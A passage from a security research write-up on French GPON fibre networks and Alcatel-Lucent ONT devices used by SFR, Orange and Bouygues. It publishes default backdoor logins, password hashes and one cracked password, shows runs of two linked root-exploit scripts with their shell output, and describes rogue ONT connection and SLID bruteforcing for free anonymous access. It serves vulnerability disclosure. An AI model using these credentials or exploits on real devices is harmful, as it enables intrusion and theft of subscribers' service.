<p>-- <a href="https://commons.wikimedia.org/wiki/File:PON_vs_AON.png">https://commons.wikimedia.org/wiki/File:PON_vs_AON.png</a></p>
</blockquote>
<p>The <code>ONU</code> is hosted at home, and it encodes and receives the signal for the fiber. It's basically a blackbox.
We can name the <code>ONU</code> an <code>ONT</code> (Optical Network Transceiver) because it translates the signals present in the fiber (light) into electrical signals (RJ45), and vice versa.</p>
<p><a href="http://www.slideshare.net/mansoor_gr8/gpon-fundamentals">From a Huawei presentation</a>:
<img alt="" src="images/2016-ftth-article1-gpon-fundamentals-upstream.jpg" /></p>
<p>They are connected in the underground to a large passive splitter. This splitter doesn't have physical security protection (we will speak about this point later).</p>
<p><img alt="" src="images/2016-ftth-article1-fibre_sfr-12-622x436.jpg" /></p>
<blockquote>
<p>--  Photo from <a href="http://www.degroupnews.com/dossier/sfr-pose-la-fibre-optique-dans-un-appartement">http://www.degroupnews.com/dossier/sfr-pose-la-fibre-optique-dans-un-appartement</a></p>
</blockquote>
<p>Transmission of data:</p>
<p>According to the specification, transmitting upstream is in cleartext.</p>
<p>The downstream can be <em>optionally</em> encrypted using AES-128. It depends on the ISP.</p>
<p>From a <a href="http://www.slideshare.net/mansoor_gr8/gpon-fundamentals">Huawei presentation</a>:
<img alt="" src="images/2016-ftth-article1-gpon-fundamentals-aes.jpg" /></p>
<p><a id="ont-used-in-this-research"></a></p>
<h3>2.2. ONT/ONU used in this research</h3>
<p><img alt="" src="images/2016-ftth-article1-ont1.jpg" /></p>
<p>From left to right:</p>
<ul>
<li><code>ONT</code> currently provided by SFR France: Alcatel I-020G-F.</li>
<li>Second <code>ONT</code> provided by Orange France since 2014: Alcatel I-010G-A.</li>
<li>First <code>ONT</code> provided by Orange France in 2013: Alcatel I-010G-A.</li>
</ul>
<p><img alt="" src="images/2016-ftth-article1-ont2.jpg" /></p>
<p>From left to right:</p>
<ul>
<li>Back of the first <code>ONT</code> provided by Orange France in 2013.</li>
<li>Back of the second <code>ONT</code> provided by Orange France since 2014.</li>
<li>Back of the <code>ONT</code> currently provided by SFR France.</li>
</ul>
<p>The fiber is linked to a remote <code>OLT</code> managed by the ISP, as shown in the network diagram. The RJ45 port is normally linked to a proprietary triple-play box (or a linux/*BSD router).</p>
<p>The <code>ONT</code> provided by SFR has 2 gigabit RJ45 connectors. Only the port 1 seems to be usable.</p>
<p>The 3 <code>ONT</code> are Alcatel-Lucent products. They seem to share the same vulnerabilities.</p>
<p><a id="ont-authentication"></a></p>
<h3>2.3. ONT Authentication</h3>
<p>G.984.3 defines two authentication mechanisms:</p>
<ul>
<li>pre-provision of the <code>ONU/ONT</code> to an <code>OLT</code>, using a shared <code>SLID</code> (Subscriber Line IDentifier)</li>
<li>the <code>SLID</code> is unknown and the <code>OLT</code> activates the <code>ONT/ONU</code> on the fly.</li>
</ul>
<p>There is no verification of the remote <code>OLT</code>, so authentication with a rogue remote OLT is possible, allowing wiretapping. This is another subject.</p>
<p>The <code>SLID</code> can be in different modes:</p>
<ul>
<li><code>PERMANENT</code></li>
<li><code>VOLATILE</code></li>
<li><code>REGISTRATION</code></li>
</ul>
<p>The <code>SLID</code> can be saved in two formats: hexadecimal or alphanumeric.</p>
<p>From my research, the <code>SLID</code> for a SFR connection is <code>VOLATILE</code> and is not set to a fixed value: the <code>OLT</code> activates the <code>ONT</code> on the fly.</p>
<p>The <code>SLID</code> for an Orange connection is <code>PERMANENT</code> and is a shared secret between the <code>ONU/ONT</code> and the <code>OLT</code>. The SLID is entered into the <code>ONT</code> by a technician when he comes to your home to install the fiber.
The authentication is based on this value. Changing the <code>SLID</code> to an incorrect value will interrupt the connection of the ONT to the remote <code>OLT</code>, which means NO INTERNET.</p>
<p>The <code>SLIDs</code> that were linked to my Orange FTTH accounts were (obfuscated, with 0 for numbers and X for letters):</p>
<ul>
<li>0W1JXXXX   &lt;- it looked like a random string (alphanumeric)</li>
<li>0562100000 &lt;- it looked like a French phone number</li>
</ul>
<p><a id="studying-the-onts"></a></p>
<h2>3. Studying the ONTs</h2>
<p><code>ONT</code> is our heaven's gate. Controlling <code>ONT</code> will give us a lot of possibilities.</p>
<p>You need to be on the same subnet to access to <code>ONT</code>:</p>
<pre><code>user@kali:~$ sudo ifconfig eth0 192.168.4.1 netmask 255.255.255.0
</code></pre>
<p>Nmap against the device:</p>
<pre><code>user@kali:~$ sudo nmap -sS -sV -v -O -n 192.168.4.254

Starting Nmap 4.37 ( http://nmap.org ) at 2014-02-03 12:54 EDT
NSE: Loaded 29 scripts for scanning.
Initiating ARP Ping Scan at 12:54
Scanning 192.168.4.254 [1 port]
Completed ARP Ping Scan at 12:54, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:54
Scanning 192.168.4.254 [1000 ports]
Discovered open port 23/tcp on 192.168.4.254
Discovered open port 22/tcp on 192.168.4.254
Discovered open port 80/tcp on 192.168.4.254
[...]
PORT   STATE SERVICE    VERSION
22/tcp open  tcpwrapped
23/tcp open  telnet     Linux telnetd
80/tcp open  http       BusyBox httpd
MAC Address: AC:9C:E4:AA:AA:AA (Alcatel-Lucent Shanghai Bell Co.)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=6.47%E=4%D=6/30%OT=22%CT=1%CU=36398%PV=Y%DS=1%DC=D%G=Y%M=AC9CE4%T
OS:M=5592C9CF%P=x86_64-unknown-linux-gnu)SEQ(SP=CE%GCD=1%ISR=D0%TI=Z%CI=Z%I
OS:I=I%TS=8)OPS(O1=M5B4ST11NW0%O2=M5B4ST11NW0%O3=M5B4NNT11NW0%O4=M5B4ST11NW
OS:0%O5=M5B4ST11NW0%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0
OS:%W6=16A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M5B4NNSNW0%CC=N%Q=)T1(R=Y%DF=Y%T=40%
OS:S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=S+%F=AS%O=M5B
OS:4ST11NW0%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y
OS:%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%R
OS:D=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IP
OS:L=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 0.001 days (since Tue Feb 03 12:52:52 2014)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=206 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; Device: media device; CPE: cpe:/o:linux:linux_kernel
</code></pre>
<p>The daemon on port 22 doesn't want to speak to my telnet client :(</p>
<pre><code>user@kali:~$ telnet 192.168.4.254 22
Trying 192.168.4.254...
Connected to 192.168.4.254.
Escape character is '^]'.
PATATE

Connection closed by foreign host.
user@kali:~$
</code></pre>
<p>From my research, an ONT has two remote panels:</p>
<ul>
<li>a HTTP webpage (http://192.168.4.254/)</li>
<li>a telnet account (telnet://192.168.4.254)</li>
</ul>
<p>There is a documented backdoor account in the busybox mailing list (2009, <a href="http://lists.busybox.net/pipermail/busybox/2009-July/070031.html">http://lists.busybox.net/pipermail/busybox/2009-July/070031.html</a> written by an Alcatel employee). This is a limited account, allowing only to change small things in the device:</p>
<pre><code>login: CRAFTSPERSON (was "CRAFT" at first, from the mailing list post)
password: ALC#FGU
</code></pre>
<p>This is the account used by technicians to configure the <code>ONT</code> during the FTTH installation and is widely known.</p>
<p>The backdoor account can be found too using the NeufBox configuration API</p>
<pre><code>user@kali:~$ wget 'http://ncdn.nb4dsl.neufbox.neuf.fr/nb6_Version%203.3.9/NB6-CONFIG-R3.3.9.2'
</code></pre>
<p>This file contains the credentials for the ONT:</p>
<pre><code>    &lt;/plc&gt;
    &lt;ont&gt;
            &lt;active&gt;on&lt;/active&gt;
            &lt;mode&gt;ondemand&lt;/mode&gt;
            &lt;ip&gt;192.168.4.254&lt;/ip&gt;
            &lt;userI010&gt;admin4me&lt;/userI010&gt;
            &lt;passwordI010&gt;connect4you@support&lt;/passwordI010&gt;
            &lt;defslidI010&gt;1111111111&lt;/defslidI010&gt;
            &lt;userI020&gt;CRAFTSPERSON&lt;/userI020&gt;
            &lt;passwordI020&gt;ALC#FGU&lt;/passwordI020&gt;
            &lt;defslidI020&gt;DEFAULT&lt;/defslidI020&gt;
            &lt;delay&gt;
                    &lt;system&gt;600&lt;/system&gt;
                    &lt;webui&gt;300&lt;/webui&gt;
            &lt;/delay&gt;
            &lt;debug&gt;off&lt;/debug&gt;
    &lt;/ont&gt;
</code></pre>
<p>Administration webpage (in Flash) using the credentials:</p>
<p><img alt="" src="images/2016-ftth-article1-ont-remote-www.png" /></p>
<p>Login to the first Orange ONT using the backdoor account will provide a restricted shell.</p>
<pre><code>user@kali:~$ telnet 192.168.2.254
Trying 192.168.4.254...
Connected to 192.168.4.254.
Escape character is '^]'.

MontaVista(R) Linux(R) Professional Edition 3.1
Linux/ppc 2.4.20_mvl31-gponsoc


(none) login: CRAFTSPERSON
Password:


MontaVista(R) Linux(R) Professional Edition 3.1



===============================================================
                   Craft user Login                            
===============================================================




   Main Menu
   ===============

     1. Enter SLID in volatile mode  
     2. Enter SLID in permanent mode (non-volatile)  
     3. Enter SLID in registration mode (non-volatile)  
     4. Retrieve SLID    
     5. Clear SLID       
     6. Retrieve ranging state   
     7. Retrieve optical level   
     8. More options       
     9. Logout

     Enter choice : 4
The SLID in ALPHANUMERIC MODE (Volatile) : DEFAULT


   Main Menu
   ===============

     1. Enter SLID in volatile mode  
     2. Enter SLID in permanent mode (non-volatile)  
     3. Enter SLID in registration mode (non-volatile)  
     4. Retrieve SLID    
     5. Clear SLID       
     6. Retrieve ranging state   
     7. Retrieve optical level   
     8. More options       
     9. Logout

     Enter choice : 6
Ranging State = Initial State (Auto-Disable State = Normal State)
press enter key to continue...


   Main Menu
   ===============

     1. Enter SLID in volatile mode  
     2. Enter SLID in permanent mode (non-volatile)  
     3. Enter SLID in registration mode (non-volatile)  
     4. Retrieve SLID    
     5. Clear SLID       
     6. Retrieve ranging state   
     7. Retrieve optical level   
     8. More options       
     9. Logout

     Enter choice : 7
ponOpticalSignalLevel =  -50.00 dBm
press enter key to continue...

   Main Menu
   ===============

     1. Enter SLID in volatile mode  
     2. Enter SLID in permanent mode (non-volatile)  
     3. Enter SLID in registration mode (non-volatile)  
     4. Retrieve SLID    
     5. Clear SLID       
     6. Retrieve ranging state   
     7. Retrieve optical level   
     8. More options       
     9. Logout

     Enter choice : 8
Additional menu items are not available, press enter key to continue...
</code></pre>
<p>This account can only configure options relative to the <code>SLID</code> and can show the <code>SLID</code> and the fiber optical signal level.</p>
<p><a id="internet-connection"></a></p>
<h2>4. Internet Authentication</h2>
<p>When you connect the fiber to the <code>ONT</code>, then the <code>ONT</code> to the proprietary box (router), you need to understand how the proprietary box gets an Internet connection:</p>
<pre><code>(Internet) ---Fiber--- [ONT] ---RJ45--- [Router provided by the ISP]
                                            |                |
                                           RJ45             Wifi
                                            |                |
                                        [Computer 1]    [Computer 2]
</code></pre>
<p>By using a Linux/BSD computer instead of the provided router:</p>
<pre><code>(Internet) ---Fiber--- [ONT] ---RJ45--- [Linux Computer]
</code></pre>
<p><a id="sfr"></a></p>
<h3>4.1. SFR</h3>
<p>When using SFR, there is no Internet Authentication.</p>
<p>Assuming you are sending the correct vendor string in the DHCP request:</p>
<pre><code>send dhcp-class-identifier "neufbox5_NB5-SER-r1_ND5-MAIN-R2.2.2";
</code></pre>
<p>Typing <code>dhclient eth0</code> in your Linux laptop, connected to the ONT, will give you a public IP on your eth0 interface.</p>
<p><a id="orange"></a></p>
<h3>4.2. Orange</h3>
<p>When using Orange, the situation is MUCH more complicated. There is a complicated authentication for accounting.</p>
<p>You have to do PPPoE authentication over VLAN835. In my view, PPPoE is used because of legacy reason (compatibility with RTC and ADSL authentication servers).
835 seems to be a tribute to the <code>8/35 VCI/VPI</code> (Virtual Path Identifier, Virtual Circuit Identifier) used in ADSL connection with ATM encapsulation. Others VLANs are used (for voice and for TVs but it's out of scope).</p>
<p>An OpenBSD configuration is:</p>
<pre><code># cat /etc/hostname.if0
up
# cat /etc/hostname.vlan835
vlan 835 vlandev if0 up
# cat /etc/hostname.pppoe0
inet 0.0.0.0 255.255.255.255 NONE \
    ppppoedev vlan835 authproto chap \
    authname 'fti/XXXXXXX' authkey 'XXXXXXX'
    up
dest 0.0.0.1
!/sbin/route add default ifp pppoe0 0.0.0.1
#
</code></pre>
<p>A Linux configuration is more complex (from <a href="https://benjamin.sonntag.fr/spip.php?page=forum&amp;id_article=43&amp;id_forum=60&amp;lang=fr">https://benjamin.sonntag.fr/spip.php?page=forum&amp;id_article=43&amp;id_forum=60&amp;lang=fr</a>):</p>
<pre><code>$ cat /etc/network/interfaces
auto eth0 eth0.835 ppp0
iface eth0 inet manual
iface eth0.835 inet manual
iface ppp0 inet ppp
   provider ft_fibre


$ cat/etc/ppp/peers/ft_fibre
pty "/usr/sbin/pppoe -I eth0.835 -T 80 -m 1452"
noipdefault
hide-password
lcp-echo-interval 20
lcp-echo-failure 3
connect /bin/true
noauth
persist
mtu 1492
usepeerdns
defaultroute
noaccomp
default-asyncmap
plugin rp-pppoe.so eth0.835
user "fti/XXXXXXX"

$ cat /etc/ppp/chap-secrets:
"fti/XXXXXXX"   *    "XXXXXXX"
</code></pre>
<p>Note that when you are using an Orange connection, you are directly authenticated on the orange website (www.orange.fr), based on your IP. You can manage the connection, read the emails, evil stuff ...</p>
<p>From my research, you need valid PPPoE FTTH credentials. ADSL and RTC credentials don't work.</p>
<p>Breaking news: it appears Orange is starting to replace PPPoE authentication with DHCP (without authentication) since november 2015. This needs to be confirmed but <a href="https://lafibre.info/orange-les-news/livebox-en-dhcp/">several</a> <a href="https://blog.jbfavre.org/2016/01/25/Remplacer-livebox-orange-configuration-routeur-mikrotik/">sources</a> use DHCP to get a working IPv4.</p>
<p><a id="bouygues"></a></p>
<h3>4.3. Bouygues FTTH</h3>
<p>When using Bouygues, there is no Internet Authentication.</p>
<p>Bouygues uses DHCP over VLAN200.</p>
<p>Assuming you are sending the correct vendor string in the DHCP request with the MAC address of the provided router:</p>
<pre><code>send vendor-class-identifier "byteliad_data";
</code></pre>
<p>Typing <code>dhclient eth0.200</code> in your Linux laptop, connected to the ONT, will give you a public IP on your eth0.200 interface.</p>
<p><a id="security-threat-against-the-gpon-ftth-model"></a></p>
<h2>5. Security Threat against the GPON FTTH model</h2>
<p>From <a href="http://docbox.etsi.org/Workshop/2009/200901_SECURITYWORKSHOP/TELECOMITALIA_DELUTIIS_NextGenerationAccessNetwork(in)Security.pdf">telecomitalia_delutiis_nextgenerationaccessnetwork(in)security.pdf</a>:</p>
<p>The security mechanisms already defined are based on <strong>the assumption that all the GPON
elements will be strongly physically protected</strong>. GPON communication are vulnerable to
severe security issues, such as:</p>
<blockquote>
<p>Fake/Forged OLT: currently no OLT identification and authentication mechanisms have been specified</p>
<p>Man In The Middle (MITM) attacks</p>
<pre><code>     Passive attacks: password and keys sent as cleartext

     Active attack: sensitive PLOAM messages are not authenticated (e.g. PASSWORD, encryption KEY)
</code></pre>
<p>Several kinds of DOS (Denial of Service) at GPON level e.g. during the activation phases.</p>
<p>-- <a href="http://docbox.etsi.org/Workshop/2009/200901_SECURITYWORKSHOP/TELECOMITALIA_DELUTIIS_NextGenerationAccessNetwork(in)Security.pdf">telecomitalia_delutiis_nextgenerationaccessnetwork(in)security.pdf</a></p>
</blockquote>
<p><a id="physical-security"></a></p>
<h2>6. Physical Security</h2>
<p>From what we know now, an attacker can easily go in the basement of buildings and connect rogue <code>ONTs</code> to the splitter by disconnecting legitimate clients. <strong>It appears all the GPON elements are not strongly physically protected and having access to elements is trivial</strong>.</p>
<p>Photos from <a href="http://www.degroupnews.com/dossier/sfr-pose-la-fibre-optique-dans-un-appartement">http://www.degroupnews.com/dossier/sfr-pose-la-fibre-optique-dans-un-appartement</a>:</p>
<p><img alt="" src="images/2016-ftth-article1-fibre_sfr-19-622x357.jpg" /></p>
<p><img alt="" src="images/2016-ftth-article1-fibre_sfr-12-622x436.jpg" /></p>
<p>If they are SFR clients, just connecting an <code>ONT</code> configured in a <code>VOLATILE</code> mode will give, in theory, an attacker an anonymous high speed (1gpbs) Internet Access with a public IP address.</p>
<p>If they are Bouygues clients, just connecting an <code>ONT</code> configured in a <code>VOLATILE</code> mode will give, in theory, an attacker an anonymous high speed (1gpbs) Internet Access with a public IP address.</p>
<p>If they are Orange clients, an attacker needs to have a valid <code>SLID</code> and valid FTTH credentials to get an Internet connection: this sucks for the attacker but there are solutions (hint: <code>SLID</code> bruteforce). Note that, apparently, Orange is starting to accept DHCP instead of PPP authentication.</p>
<p><a id="hacking-the-ont"></a></p>
<h2>7. Powning the ONT</h2>
<p>As we've already see, the <code>ONT/ONU</code> are <code>Linux/ppc 2.4.20_mvl31-gponsoc clients</code> devices.</p>
<p>Note that Bouygues seems to use another model of ONT.</p>
<p><a id="rce"></a></p>
<h3>7.1. Remote Code execution</h3>
<p>We are lucky to see there is a trivial RCE in the CGIs available and 2 valid 0day exploits were written for the noble cause.</p>
<p><a href="https://github.com/pierrekim/gpon-ftth-networks-insecurity/blob/master/hacktheplanet.sh">We test them live</a>:</p>
<pre><code>user@kali:~$ ./hacktheplanet.sh
Adding an user ONT / ALC#FGU
Launching telnet client
Trying 192.168.4.254...
Connected to 192.168.4.254.
Escape character is '^]'.

MontaVista(R) Linux(R) Professional Edition 3.1
Linux/ppc 2.4.20_mvl31-gponsoc


(none) login: ONT
Password: ALC#FGU

MontaVista(R) Linux(R) Professional Edition 3.1

BusyBox v1.4.2 (2010-11-10 23:30:26 EST) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

$ id
uid=100(CRAFTSPERSON) gid=100(users)
$ ls -latrR /              
Segmentation fault
$ echo wow
wow
$ ps -auxww
  PID  Uid     VmSize Stat Command
    1 root        564 S   init [3]   
    2 root            SW  [keventd]
    3 root            SWN [ksoftirqd_CPU0]
    4 root            SW  [kswapd]
    5 root            SW  [bdflush]
    6 root            SW  [kupdated]
    7 root            SW  [mtdblockd]
  109 root        644 S   /usr/sbin/inetd 
  126 root            SWN [jffs2_gcd_mtd3]
  138 root       1600 S   /usr/sbin/sshd 
  417 root       1212 S   /usr/alcatel/bin/dbg_logger 
  418 root       1212 S   /usr/alcatel/bin/dbg_logger 
  420 root       1212 S   /usr/alcatel/bin/dbg_logger 
  431 root       1244 S N /usr/alcatel/bin/bkgndprocess 
  439 root       1124 S   /usr/alcatel/bin/ontah 
  450 root       1256 S   /usr/alcatel/bin/parser 
  462 root       1616 S   /usr/alcatel/bin/omciMgr 
  473 root       1400 S   /usr/alcatel/bin/gponMac 
  516 root        672 S   /usr/bin/httpd -h /usr/alcatel/web 
  531 root       1648 S   /var/temp/tagging 
  546 root       1348 S   /usr/alcatel/bin/IGMP 
  554 root       1268 S   /usr/alcatel/bin/ethOAM 
  563 root       1180 S N /usr/alcatel/bin/rateShaping 
  572 root       1144 S N /usr/alcatel/bin/IBcast 
  589 root       1256 S N /usr/alcatel/bin/EFMOAM 
  602 root       1256 S N /usr/alcatel/bin/EFMOAM 
  603 root       1256 S N /usr/alcatel/bin/EFMOAM 
  604 root       1256 S N /usr/alcatel/bin/EFMOAM 
  605 root       1176 S   /usr/alcatel/bin/eqpt 
  613 root       1648 S   /var/temp/tagging 
  614 root       1648 S   /var/temp/tagging 
  615 root       1648 S   /var/temp/tagging 
  616 root       1256 S   /usr/alcatel/bin/parser 
  617 root       1256 S   /usr/alcatel/bin/parser 
  618 root       1348 S   /usr/alcatel/bin/IGMP 
  619 root       1348 S   /usr/alcatel/bin/IGMP 
  620 root       1268 S   /usr/alcatel/bin/ethOAM 
  621 root       1268 S   /usr/alcatel/bin/ethOAM 
  622 root       1268 S   /usr/alcatel/bin/ethOAM 
  627 root       1180 S N /usr/alcatel/bin/rateShaping 
  628 root       1180 S N /usr/alcatel/bin/rateShaping 
  629 root       1144 S N /usr/alcatel/bin/IBcast 
  630 root       1144 S N /usr/alcatel/bin/IBcast 
  646 root        524 S   /sbin/getty -L tts/1 9600 115200 vt100 
  908 root        652 S   inetd 
 1155 root        832 S   in.telnetd: 192.168.4.251
 1156 CRAFTSPERSO    848 S   -sh 
 1520 CRAFTSPERSO    648 R   ps -auxww 
$
</code></pre>
<p><a href="https://github.com/pierrekim/gpon-ftth-networks-insecurity/blob/master/hackthemoon.sh">Nice but I prefer a root shell</a>:</p>
<pre><code>user@kali:~$ ./hackthemoon.sh
to the moon ...
done
id
uid=0(root) gid=0(root)
echo much access very root !
much access very root !
ls -la
drwxr-xr-x   15 3079     619          1024 Jun 29  2013 .
drwxr-xr-x   15 3079     619          1024 Jun 29  2013 ..
drwxrwxrwx    2 4223     619          1024 Nov 18  2010 bin
drwxr-xr-x    1 root     root            0 Jan  1  1970 dev
drwxrwxrwx   11 4223     619          1024 Dec 31 23:59 etc
drwxrwxrwx    4 51454    619          1024 Nov 11  2005 home
drwxrwxrwx    4 4223     619          2048 Aug  2  2005 lib
drwx------    2 root     root        12288 Jun 29  2013 lost+found
drwxrwxrwx    2 51454    619          1024 Aug  2  2005 mnt
dr-xr-xr-x   64 root     root            0 Jan  1  1970 proc
drwxrwxrwx    2 51454    619          1024 Aug  2  2005 root
drwxrwxrwx    2 4223     619          1024 Aug  2  2005 sbin
drwxrwxrwx    2 51454    619          1024 Jan  1 00:00 tmp
drwxrwxrwx   11 4223     619          1024 Aug  2  2005 usr
drwxrwxrwt    5 root     root          100 Jan  1  2006 var
echo nice unix rights !!
nice unix rights !!
</code></pre>
<p>You can fetch <a href="https://github.com/pierrekim/gpon-ftth-networks-insecurity/blob/master/hacktheplanet.sh">hacktheplanet.sh</a>.</p>
<p>You can fetch <a href="https://github.com/pierrekim/gpon-ftth-networks-insecurity/blob/master/hackthemoon.sh">hackthemoon.sh</a>.</p>
<p>A proofreader noted that it would be easier to create an exploit which adds an user with UID 3079 and GID 619. He is right.</p>
<p><a id="analysing-the-ont"></a></p>
<h3>7.2. Analysing the ONT</h3>
<p>Memory/CPU:</p>
<pre><code>$ cat /proc/meminfo 
        total:    used:    free:  shared: buffers:  cached:
Mem:  62537728 55193600  7344128        0   663552 31174656
Swap:        0        0        0
MemTotal:        61072 kB
[...]
$ cat /proc/cpuinfo
cpu             : e300c2 (83xx)
revision        : 0.32 (pvr 8084 0020)
bogomips        : 188.00
Vendor          : Freescale Inc.
Machine         : msc7120
core clock      : 282 MHz
bus  clock      : 141 MHz
PVR             : 0x80840020
SVR             : 0x80400010
SPRIDR          : 0x80400021
PLL setting     : 0x8
Memory          : 64 MB
$ uname -ap
Linux (none) 2.4.20_mvl31-gponsoc #1 Wed Jul 31 09:26:02 EDT 2013 ppc unknown
$
</code></pre>
<p><a id="backdoor-credentials-in-etc-passwd"></a></p>
<h3>7.3. Backdoor credentials in /etc/passwd*</h3>
<p>The <code>/etc/passwd*</code> files contain backdoor credentials to login to the remote ONT:</p>
<pre><code>user@kali:~$ cat passwd
root:*:0:0::/tmp:/bin/sh
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
adm:*:4:4:adm:/var/adm:
lp:*:5:7:lp:/var/spool/lpd:
sync:*:6:8:sync:/bin:/bin/sync
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown
halt:*:8:10:halt:/sbin:/sbin/halt
mail:*:9:11:mail:/var/spool/mail:
news:*:10:12:news:/var/spool/news:
uucp:*:11:13:uucp:/var/spool/uucp:
operator:*:12:0:operator:/root:
games:*:13:100:games:/usr/games:
ftp:*:15:14:ftp:/var/ftp:
man:*:16:100:man:/var/cache/man:
nobody:*:65534:65534:nobody:/home:/bin/sh
CRAFTSPERSON:$2$367ffe585fc3070eabc901c03cd561d062ce1b67:100:100::/tmp:/usr/alcatel/bin/craftsh
sshd:*:74:74:Privilege-separated SSH:/tmp:/sbin/nologin
ONTUSER:$2$6003c3d66874a4fd38aecb0b09db563e85a62ad6:0:0::/tmp:/bin/sh
</code></pre>
<p>It appears that <code>ONTUSER</code> is a backdoor root account.</p>
<p>Other files exist in /etc - <code>passwd.ENABLE</code>:</p>
<pre><code>user@kali:~$ cat passwd.ENABLE 
root:*:0:0::/tmp:/bin/sh
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
adm:*:4:4:adm:/var/adm:
lp:*:5:7:lp:/var/spool/lpd:
sync:*:6:8:sync:/bin:/bin/sync
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown
halt:*:8:10:halt:/sbin:/sbin/halt
mail:*:9:11:mail:/var/spool/mail:
news:*:10:12:news:/var/spool/news:
uucp:*:11:13:uucp:/var/spool/uucp:
operator:*:12:0:operator:/root:
games:*:13:100:games:/usr/games:
ftp:*:15:14:ftp:/var/ftp:
man:*:16:100:man:/var/cache/man:
nobody:*:65534:65534:nobody:/home:/bin/sh
CRAFTSPERSON:o4ePHnSAbwl3o:100:100::/tmp:/bin/sh
ICONFIG:9E/ixZ86A5mTQ:0:0:Alcatel User,,,:/tmp:/bin/sh
restricted:W6wa7UoRwHH7k:0:0::/tmp:/bin/mysh
sshd:*:74:74:Privilege-separated SSH:/tmp:/sbin/nologin
ONTUSER:ViUjCv6nSZ38U:0:0::/tmp:/bin/sh
</code></pre>
<p>Other backdoor accounts but not used (<code>ICONFIG</code>, <code>restricted</code> -- with root privileges).</p>
<p>The <code>passwd.DISABLE</code> file contains credentials too:</p>
<pre><code>user@kali:~$ cat passwd.DISABLE
root:*:0:0::/tmp:/bin/sh
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
adm:*:4:4:adm:/var/adm:
lp:*:5:7:lp:/var/spool/lpd:
sync:*:6:8:sync:/bin:/bin/sync
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown
halt:*:8:10:halt:/sbin:/sbin/halt
mail:*:9:11:mail:/var/spool/mail:
news:*:10:12:news:/var/spool/news:
uucp:*:11:13:uucp:/var/spool/uucp:
operator:*:12:0:operator:/root:
games:*:13:100:games:/usr/games:
ftp:*:15:14:ftp:/var/ftp:
man:*:16:100:man:/var/cache/man:
nobody:*:65534:65534:nobody:/home:/bin/sh
CRAFTSPERSON:o4ePHnSAbwl3o:100:100::/tmp:/bin/sh
ICONFIG:9E/ixZ86A5mTQ:0:0:Alcatel User,,,:/tmp:/bin/sh
restricted:W6wa7UoRwHH7k:0:0::/tmp:/bin/mysh
sshd:*:74:74:Privilege-separated SSH:/tmp:/sbin/nologin
ONTUSER:megWL9CFKXbmA:0:0::/tmp:/bin/sh
</code></pre>
<p>Other interesting users (with root privileges) with hashes: <code>ICONFIG</code>, <code>restricted</code>, <code>ONTUSER</code>.</p>
<p>John will reveal password, like:</p>
<pre><code>restricted:iitywimw:0:0::/tmp:/bin/mysh
</code></pre>
<p><a id="backdoor-accountd-in-http"></a></p>
<h3>7.4. Backdoor accounts in the HTTP configuration files</h3>
<p>The <code>/usr/alcatel/web/httpd.conf</code> file contains credentials:</p>
<pre><code>user@kali:~$ ./usr/alcatel/web/httpd.conf
/:ONTUSER:$1$$j5N8wFCZNAAGhA8WA2tgJ.
/:CRAFTSPERSON:$1$$UjLhdhvWxqvlRh9TGNIv7/
</code></pre>
<p>And the <code>/etc/httpd.conf</code> contains credentials too:</p>
<pre><code>user@kali:~$ cat ./etc/httpd.conf
A:192.168.4.
D:*
/:CRAFTSPERSON:$1$$UjLhdhvWxqvlRh9TGNIv7/
</code></pre>
<p><a id="bad-unix-rights"></a></p>
<h3>7.5. Bad UNIX RIGHTS and UID/GID everywhere</h3>
<pre><code># ls -la /
drwxr-xr-x   15 3079     619          1024 Jun 29  2013 .
drwxr-xr-x   15 3079     619          1024 Jun 29  2013 ..
drwxrwxrwx    2 4223     619          1024 Nov 18  2010 bin
drwxr-xr-x    1 root     root            0 Jan  1  1970 dev
drwxrwxrwx   11 4223     619          1024 Dec 31 23:59 etc
drwxrwxrwx    4 51454    619          1024 Nov 11  2005 home
drwxrwxrwx    4 4223     619          2048 Aug  2  2005 lib
drwx------    2 root     root        12288 Jun 29  2013 lost+found
drwxrwxrwx    2 51454    619          1024 Aug  2  2005 mnt
dr-xr-xr-x   64 root     root            0 Jan  1  1970 proc
drwxrwxrwx    2 51454    619          1024 Aug  2  2005 root
drwxrwxrwx    2 4223     619          1024 Aug  2  2005 sbin
drwxrwxrwx    2 51454    619          1024 Jan  1 00:00 tmp
drwxrwxrwx   11 4223     619          1024 Aug  2  2005 usr
drwxrwxrwt    5 root     root          100 Jan  1  2006 var
#
</code></pre>
<p><code>NO COMMENT</code></p>
<p><a id="same-ssh-keys"></a></p>
<h3>7.6. Same SSH keys used in all the firmware</h3>
<p>The SSH keys are common to the 3 ONTs. They are not generated locally but are stored in all the ONTs:</p>
<pre><code>118cf5bad0322ed1215367679860a1ab  alcatel.orange.v1/etc/ssh/ssh_host_dsa_key
118cf5bad0322ed1215367679860a1ab  alcatel.sfr.v1/etc/ssh/ssh_host_dsa_key
118cf5bad0322ed1215367679860a1ab  alcatel.orange.v2/etc/ssh/ssh_host_dsa_key

